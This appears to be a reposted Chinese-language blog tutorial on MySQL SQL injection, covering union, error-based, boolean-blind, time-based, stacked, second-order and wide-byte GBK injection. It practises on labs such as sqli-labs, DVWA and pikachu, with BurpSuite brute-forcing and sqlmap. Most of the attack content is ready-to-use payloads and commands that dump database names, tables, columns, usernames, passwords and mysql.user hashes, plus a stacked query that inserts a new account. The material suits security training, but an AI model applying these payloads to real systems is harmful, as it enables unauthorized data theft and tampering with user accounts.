BurpSuite预配置
此处的作用:实现BurpSuite与sqlmap的联动
1. 安装CO2
安装一个名为CO2的工具
安装完成之后,可以在 扩展 页面看见它
2. 配置CO2
指明python的路径和sqlmap的路径。如果不知道python的路径的话,不管Windows还是linux,在终端里输入python,打开python后输入如下命令即可查看到python的绝对路径。
import sys
sys.executable
注意一下,sqlmap不要放在中文目录下,也不要放在有特殊字符的英文目录下(如Program Files (x86)
),否则在CO2中调用sqlmap时会出错。
3. 小试牛刀使用pikachu靶场的“字符型注入”
我这里指明了是Mysql数据库,然后就可以直接跑了
检查到4种注入方式
联合查询(union)
函数介绍
order by
详细解释参见:https://www.w3school.com.cn/sql/sql_orderby.asp
简单来说就是用来对数据进行排序的,在注入中用于判断表的列数
select * from users ORDER BY id # 按id列递增排序
select * from users ORDER BY 1 # 按第1列递增排序
select * from users ORDER BY id desc # 按id列递减排序
select * from users ORDER BY 1 desc # 按第1列递减排序
union select
详细解释参见:https://www.w3school.com.cn/sql/sql_union.asp
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
说人话就是,,,还是看下图吧(以DVWA数据库为例)
下图中,令user_id=NULL也行
那,有没有什么网站,可以不用让union前面的字符设为空值呢?有,如DVWA,它可以显示多条内容
用于获取敏感信息
接下来就是注入了。
limit
用来限制显示的内容
- 原本,很多行
- 现在,显示一行
- 更多用法
只查询第3列:select * from users where user_id=-1 union select 1,user,password,4,5,6,7,8 from users limit 2,1;
操作
此处省略,在下一篇文章“MySQL注入”中以2个案例详细介绍了联合查询的注入手法。
报错盲注
报错盲注是指:数据库在执行时,遇到语法不对,会显示报错信息。
判断是否存在报错注入,可以尝试输入单引号,如果出现报错有有可能存在报错注入。
举个例子:在1后面添加了单引号,出现了错误页面。
1. 获取数据库名
使用命令:?id=1' and test()--+
报错信息显示security数据库中没有test方法,我们获取到了数据库名称security
或者如下命令:
获取数据库名字:?id=1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
2. 获取敏感信息
获取用户名:?id=1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
获取数据库版本:?id=1'and (updatexml(1,concat(0x7e,(select version()),0x7e),1))--+
获取数据库名字:?id=1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
更多函数名参见SQL注入
采用 updatexml
报错函数只能显示 32 位长度的内容,如果获取的内容超过 32 个字符就要采用字符串截取方法。每次获取 32 个字符串的长度。下文会讲怎么截取。
3.获取 mysql 账号密码
获取账号和密码需要是 root 用户才行。不然就gg
下面的图片为网图:
- 查询密码:
select authentication_string from mysql.user limit 1;
显然,这里需要进行截取
- 查询0到31(只能查32位,就是查0到31位)
select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))
- 查询后面的
select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))
拼接之后,就得到了密码。
其他报错函数
除了 updatexml
函数支持报错注入外,mysql 还有很多函数支持报错。
1.floor()
select * from users where id=1 and (select count(*) from users group by concat(version(),floor(rand(0)*2)))
2.extractvalue()
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
下面的不咋常用(部分命令有点问题,用到的话网上搜一下),不再截图。
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(selectuser())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a))
4. 获取表名
4.1 获取第一张表
获取第一张表,使用命令:
?id=1' and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
4.2 获取第二张表
将 LIMIT 0,1
改成LIMIT 1,1
,获取第二张表
?id=1' and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
4.3 获取所有表
其实就是BurpSuite跑一下
5. 获取列
5.1 获取第一列
这里尝试获取users表的列,命令如下:
?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
5.2 获取第二列
命令基本同上,只需要将 LIMIT 0,1
改成LIMIT 1,1
?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name='users' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
5.3 获取所有列
思路完全同4.3节,使用BurpSuite。这里会介绍一下怎么过滤出字符。
这里有一个小问题,虽然可以根据长度筛选出结果,但是,能不能使用过滤器呢?通过如下方法,提取出我们需要过滤出的字符,然后重新爆破。
更直白的看到了users表中共有3列
6. 获取列中的数据
这里查询username和password两列的数据
6.1 获取第一组数据
?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
6.2 获取第二组数据
思路同上,修改一下limit即可
?id=1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
6.3 获取所有数据
思路同第**5.3节,**需要对结果做过滤
布尔盲注 (and or)
函数介绍
mid 从中间截取字符
详细解释参见:https://www.w3school.com.cn/sql/sql_func_mid.asp
MID 函数用于从文本字段中提取字符。
left 从左开始截取字符
left(a,b)
,从左侧截取 a 的前 b 位
left(database(),1)> "s"
# Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
ord、ascii 转成ascii码
ord() 函数同 ascii(),将字符转为 ascii
ascii码对照表:http://ascii.911cha.com
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=1
# substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii
length 统计长度
and
使用and,通过显示结果进行布尔判断
regexp 正则注入-针对MySQL
参见:sql 盲注之正则表达式攻击
这里我们使用的是sql-lab靶场,知道数据库名字是security,目的:获取当前数据库的所有表
- 获取当前数据库的第一个表的第一个字符
通过不断缩小范围,查到第1个字符是e(从下图中可以看到,第一个表是emails)
select * from users where id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE table_schema="security" AND table_name REGEXP '^[a-d]' LIMIT 0,1);
- 获取其余字符
只需要更改一下正则就行,之后依次是:‘e[a-z]’、’em[a-z]’、‘ema[a-z]’……’emails’
最后1个符号判断出来之后,其实可以直接把正则去除了,令table_name等于表名即可
这里思考一个问题? table_name 有好几个,我们只得到了一个 emils,如何知道其他的?
这里可能会有人认为使用 limit 0,1
改为 limit 1,1
,但是这种做法是错误的,limit 作用在前面的 select 语句中,而不是regexp
操作
这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)
1. 猜数据库长度
2. 猜数据库名
除了使用ord(mid(database(),1,1))<120
的形式,还可以使用left(database(),1)>'a'
的形式
查一下,发现115的ascii值对应的字符是s
,使用同样的方法,测出数据库的全名
方法1:使用**ord(mid(database(),1,1))<120**
的形式
方法2:使用**left(database(),1)>'a'**
的形式
这种手工注入的方式实在是繁琐,可以使用工具,这里暂且按住sqlmap不用,因为主要是得梳理原理,也可以写个python脚本去做测试,但是BurpSuite它不香吗?
逐个爆破字符
- 抓包,长这个样子
- 转到爆破模块中
- 发现ascii是115的时候,有结果,得知数据库名的第一个字符是s
实操
- 截取数据包
使用上次的数据包
- 爆破
对测试结果做一下排序,得到测试答案。
3. 猜表的个数
爆破也行,但是,手工也挺快的,测试发现是4张表
?id=1' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=4--+
4. 猜表
这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n
# a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数
# ascii函数是求出ascii码最后结果和n比较
# substr配合参数b一次找出表名的每一位
# limit配合a找到每一张表
上面的代码原理,图示如下:
4.1 猜第一张表
举个例子,我们知道第一张表是emails,可以使用如下payload:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101--+
访问一下,有结果,看到访问成功的页面有login
访问失败的话,页面没有login
接下来的操作,可以使用BurpSuite爆破了,使用的命令如下:
?id=1’ and substring((select table_name from information_schema.tables where table_schema = database() limit 1),1,1)=‘e’–+
这里暂设表名的长度不超过40个字符
设置表名的组成仅包括数字字母
使用过滤器,筛选包含login
的页面
拿到第一张表,表名emails
4.2 猜第二张表
思路完全同上
- 在浏览器中测试盲注,没问题
?id=1’ and substring((select table_name from information_schema.tables where table_schema = database() limit 2,1),1,1)=‘u’–+
- 设置payload
- 字典模块的设置同上,只是第2个payload的字典是小写字母+数字(没有大写字母了)
- 设置线程20
- 筛选包含login关键字的
- 拿到第二张表的表名
4.3 猜所有表
这里拿4.2 猜第二张表中的数据包举例:
- 设置payload
第一个变量判断表的个数,第二个变量判断某表的某个字段,第三个变量判断某表的某个字段是什么
- 设置字典
之前已经知道有4个表了,直接设置表的个数是4
表名的长度,就限制到20好了
表名的内容,就设置为纯字母好了
- 线程依旧设置为20
- 筛选一下测试结果,筛选包含
login
关键字的,不知道为啥,payload3里面的有空白字符
- 保存结果
这里只保存payload3的结果
最终,得到了此数据库的4张表
5. 猜列
估算列名的字符长度
公式如下;
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始,a=0时代表第1列
b代表列名的字符长度
第1列的列名长度是2
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
第2列的列名长度是8
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
使用正则注入的方式猜列名,如下,猜出存在username列,同理,可以猜出password列
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1)--+
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name="username" limit 0,1)--+
纯手动测试,就比较麻烦了,这里继续使用BurpSuite,测试的逻辑如下图:
获取users表的所有列:
select column_name from information_schema.columns where table_schema=database() and table_name=‘users’;
接下来要截取字符,加上if进行判断。命令如下:
mysql> use security;
Database changed
mysql> select column_name from information_schema.columns where table_schema=database() and table_name='users';
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.04 sec)
mysql> select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1;
+-------------+
| column_name |
+-------------+
| id |
+-------------+
1 row in set (0.03 sec)
mysql> select substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1);
+------------------------------------------------------------------------------------------------------------------------------------+
| substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1) |
+------------------------------------------------------------------------------------------------------------------------------------+
| i |
+------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.03 sec)
mysql> select substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i';
+----------------------------------------------------------------------------------------------------------------------------------------+
| substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i' |
+----------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+----------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.04 sec)
mysql> select * from users where id=1 and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.05 sec)
试一下,发现可行。
?id=1' and if(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',1,0)--+
BurpSuite爆破
5.1 猜表的第一列
承接上面,这里猜users表的第一列
- 选择参数
接下来的操作同上,不再赘述。过滤之后的测试结果如下:
5.2 猜表的第二列
只需修改一处即可
5.3 获取所有列
如下图所示,第一个参数代表第几列,第二个参数代表列中的第几个字符,第三个参数代表列中第几个字符是什么。接下来就是常规爆破,我这里假定有10列,每列最多20个字符,字符类型全都是字母。
爆破,并过滤一下结果。
6. 猜值
这里猜测我们比较关心的username列和password列的值,逻辑如下:
mysql> use security;
Database changed
mysql> select concat(username,':',password) from users;
+-------------------------------+
| concat(username,':',password) |
+-------------------------------+
| Dumb:Dumb |
| Angelina:I-kill-you |
| Dummy:p@ssword |
| secure:crappy |
| stupid:stupidity |
| superman:genious |
| batman:mob!le |
| admin:admin |
| admin1:admin1 |
| admin2:admin2 |
| admin3:admin3 |
| dhakkan:dumbo |
| admin4:admin4 |
+-------------------------------+
13 rows in set (0.05 sec)
mysql> select concat(username,':',password) from users limit 1;
+-------------------------------+
| concat(username,':',password) |
+-------------------------------+
| Dumb:Dumb |
+-------------------------------+
1 row in set (0.04 sec)
mysql> select substring((select concat(username,':',password) from users limit 1),1,1);
+--------------------------------------------------------------------------+
| substring((select concat(username,':',password) from users limit 1),1,1) |
+--------------------------------------------------------------------------+
| D |
+--------------------------------------------------------------------------+
1 row in set (0.04 sec)
mysql> select substring((select concat(username,':',password) from users limit 1),1,1)='d';
+------------------------------------------------------------------------------+
| substring((select concat(username,':',password) from users limit 1),1,1)='d' |
+------------------------------------------------------------------------------+
| 1 |
+------------------------------------------------------------------------------+
1 row in set (0.07 sec)
mysql> select * from users where id=1 and if((select substring((select concat(username,':',password) from users limit 1),1,1)='d'),1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.05 sec)
于是,获取到测试的命令:
?id=1’and if((select substring((select concat(username,’:’,password) from users limit 1),1,1)=‘d’),1,0)–+
6.1 猜某列的第一组数据
开始爆破
过滤一下爆破结果
6.2 猜测所有数据
在上一节中,由于是获取第一组数据,而此处是获取所有数据,所以下图中箭头的方向我添加了一个参数。
- 第一个参数意味着有多少组数据
- 第二个参数意味着每组数据有多少个字符
- 第三个参数意味着每组数据的内容是什么字符
操作依然同上,过滤爆破结果如下
看着太费劲,导出过滤结果,手工排序一下
延时注入(sleep if)
延时注入又名时间注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而使用的一种更繁琐的注入方式。
延时注入最大的问题并不在于它是延时,而在于,网站还有一段加载时间,导致不好准确判断延时情况。
延时注入可以按照布尔盲注的方式来,只不过需要添加if……sleep而已
如何区分应该使用延时注入,还是布尔盲注呢?
使用布尔盲注:如果输出正确的内容,返回统一的结果;输入错误的内容,返回统一的另一种结果
使用延时注入:输入正确或错误的内容,都返回一种结果
【优先使用布尔盲注,相对更快一点】
什么是延时注入?
如下图,可以看到,直接查询的时候,时间是0秒;延时1秒的时候,大约是1秒之后才有结果
函数
mysql 延时注入用到的函数 sleep() 、if()、substring()
if语句
格式:IF(Condition,A,B)
意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
基于if构造延时注入
适用于无回显,通过延时注入盲猜
操作(手工)
这里拿sql-lab靶场的第9关为例(这关就是延时注入,无论输入什么,返回的都是同样的页面)
下面的payload都不能用,只得测试延时注入了。
http://192.168.239.132/sqli-labs-master/Less-9/?id=" --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=' --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=") --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=') --+
测试延时注入,发现浏览器大约4秒后返回结果,说明存在延时注入(我让它休眠了3秒)
http://192.168.239.132/sqli-labs-master/Less-9/?id=1' and sleep(3) --+
有点奇怪哈,在navicat中查询是3秒,在firefox中居然用过了4秒
出现这种现象的原因很简单,直接访问一下,发现耗时约1秒,所以休眠3秒就是耗时4秒了
1. 猜数据库长度
?id=1' and if(length(database())=8,sleep(3), 1) --+
2. 猜数据库名
除了使用下面的形式,还可以使用ord(mid(database(),1,1))<120
的形式,或left(database(),1)>'a'
?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ # 获得第1位,是s
?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ # 获得第2位,是e
依次类推,我们知道了数据库名字是 security
3. 猜表名
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第二个数据表的第一位是 r,…依次类推,得到 referers
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user
4. 猜测 users 表的列
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
5. 猜值
猜测 username 的第一行的第一位
?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
以此类推,我们得到数据库 username,password 的所有内容
操作(SQLmap)
延时注入,手工注入纯属自虐,BurpSuite又不能用,只能拿出sqlmap
1. 确认存在延时注入
经过测试,确实存在延时注入
这里手动指定了一下参数,方便检测。得知数据库版本是5.0以上。
python .\sqlmap.py -u "http://192.168.239.132/sqli-labs-master/Less-9/?id=1" -p id -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
2. 获取敏感信息
获取当前数据库名字、当前用户
python .\sqlmap.py -u "http://192.168.239.132/sqli-labs-master/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
3. 获取表名
python .\sqlmap.py -u "http://192.168.239.132/sqli-labs-master/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch
-D 指定数据库
--tables 获取表
4. 获取字段
python .\sqlmap.py -u "http://192.168.239.132/sqli-labs-master/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch
--columns 获取字典
-T 某个表
5. 获取账号密码
python .\sqlmap.py -u "http://192.168.239.132/sqli-labs-master/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username,password" -T users -D security --batch
--dump 导出数据
-C 指定查询的字
堆叠注入
- 堆叠查询可以执行多条 SQL 语句,语句之间以分号
;
隔开,在第二条语句中构造要执行攻击的语句。 - 堆叠查询只能返回第一条查询信息,不返回后面的信息。
- 在 mysql 里
mysqli_multi_query
和mysql_multi_query
这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。 - 堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。
进一步的介绍参见上文SQL注入
这里拿sqli-labs靶场的第38关为例,首先找到第38关的源代码,果然发现了mysqli_multi_query
1. 判断是否存在sql注入
发现返回的页面不一样,说明存在sql注入
?id=1' and 1=1--+
?id=1' and 1=2--+
2. 获取表名
?id=-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
3. 获取列名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and TABLE_NAME='users' limit 1)--+
4. 添加账号
知道表的列的情况下使用 insert into
插入语句进行增加账号。如果是管理表,直接添加管理员账号即可登录后台。
下面命令中的三个参数30,'asuka','123456'
对应的是users表中的3列:id,username,password
?id=1';insert into users values(30,'asuka','123456')--+
查看结果,id为30的时候,出现了我刚才添加的用户asuka
5. 获取数据库版本
- 把数据库版本信息存储到id为40的编号中
- 访问id40,看到数据库版本
同理,可以获取到其他敏感信息。
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
原理
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
实施步骤
- 插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 引用恶意数据
在将数据存入到了数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出来恶意数据,没有进行进一步的检验和处理,这样就有可能造成二次注入
举例
这里使用的是sql-libs靶场的第24关
- 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示
- 注册一个新用户
- 注册了一个新用户之后的数据库如下
- 新用户登录,并重置密码
- 查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
- 在第24关的源代码中,可以看到原因,如下图
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs 32 关为例子 ,来介绍宽字节注入。
引子
- 通过替换id值,发现页面有不同的显示内容,可以考虑联合查询
- 尝试报错注入,发现单引号被转义了,
1\'
的ascii值就是315c27
,要解决转义的问题,就需要使用宽字节注入
在回答宽字节注入之前,先来看一下源代码,看看它是怎么玩的。
在28行看到了id,说明川籍哪里的内容会进到这里,30行的id前面有check_addslashes
,发现它被定义在17行,查看函数内容得知,这个函数就行用来做转义替换的。再往下面捋一捋,发现第40行,mysql使用了gbk编码。此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询
GBK编码
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。转义字符 \
的编码是 5c
,注意到 5C
在GBK 编码的低位范围之内[40,FE]。在 5C
之前添加一个字符[81,FE]
之间,该字符就会和 5c
组成一个汉字。也就是说,所谓的宽字节注入,就是要让转义字符 \
失效,方式就是找到1个汉字,它的GBK编码中包含5c
。
这样,转义字符 \
就会失效,失去了转义的作用,就可以进行注入了。目前,网上通用的是%df%5c组成的汉字“運”
除了df还有别的吗?当然有,如下:
af可以
bf也可以
可以在GBK 汉字编码方案中找到更多符合条件的汉字
注入
- 验证宽字节注入,成功触发报错
?id=1%df'
- 说明存在sql注入
?id=1%df'--+
- 联合查询
这里有坑,不能使用order by判断列数,因为回显内容一致
?id=1%df' order by 3 --+
解决办法是直接使用union select判断列数
列数错误,报错
列数正确,回显正常
?id=1%df' union select 1,2,3 --+
查出敏感信息,接下来就完完全全是联合查询的内容了,不再赘述。
?id=1%df' and 1=2 union select 1,version(),database() --+
额外补一句,前面提到,宽字节注入的核心就是找到一个GBK编码中存在5c
的汉字,除了网上通用的df
,这里可以换别的试试,如af
?id=1%af' and 1=2 union select 1,version(),database() --+
参考
sqlilabs1-20详细教程
《mysql注入天书》
sql 盲注之正则表达式攻击
关于floor()报错注入,你真的懂了吗?
暗月
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134277.html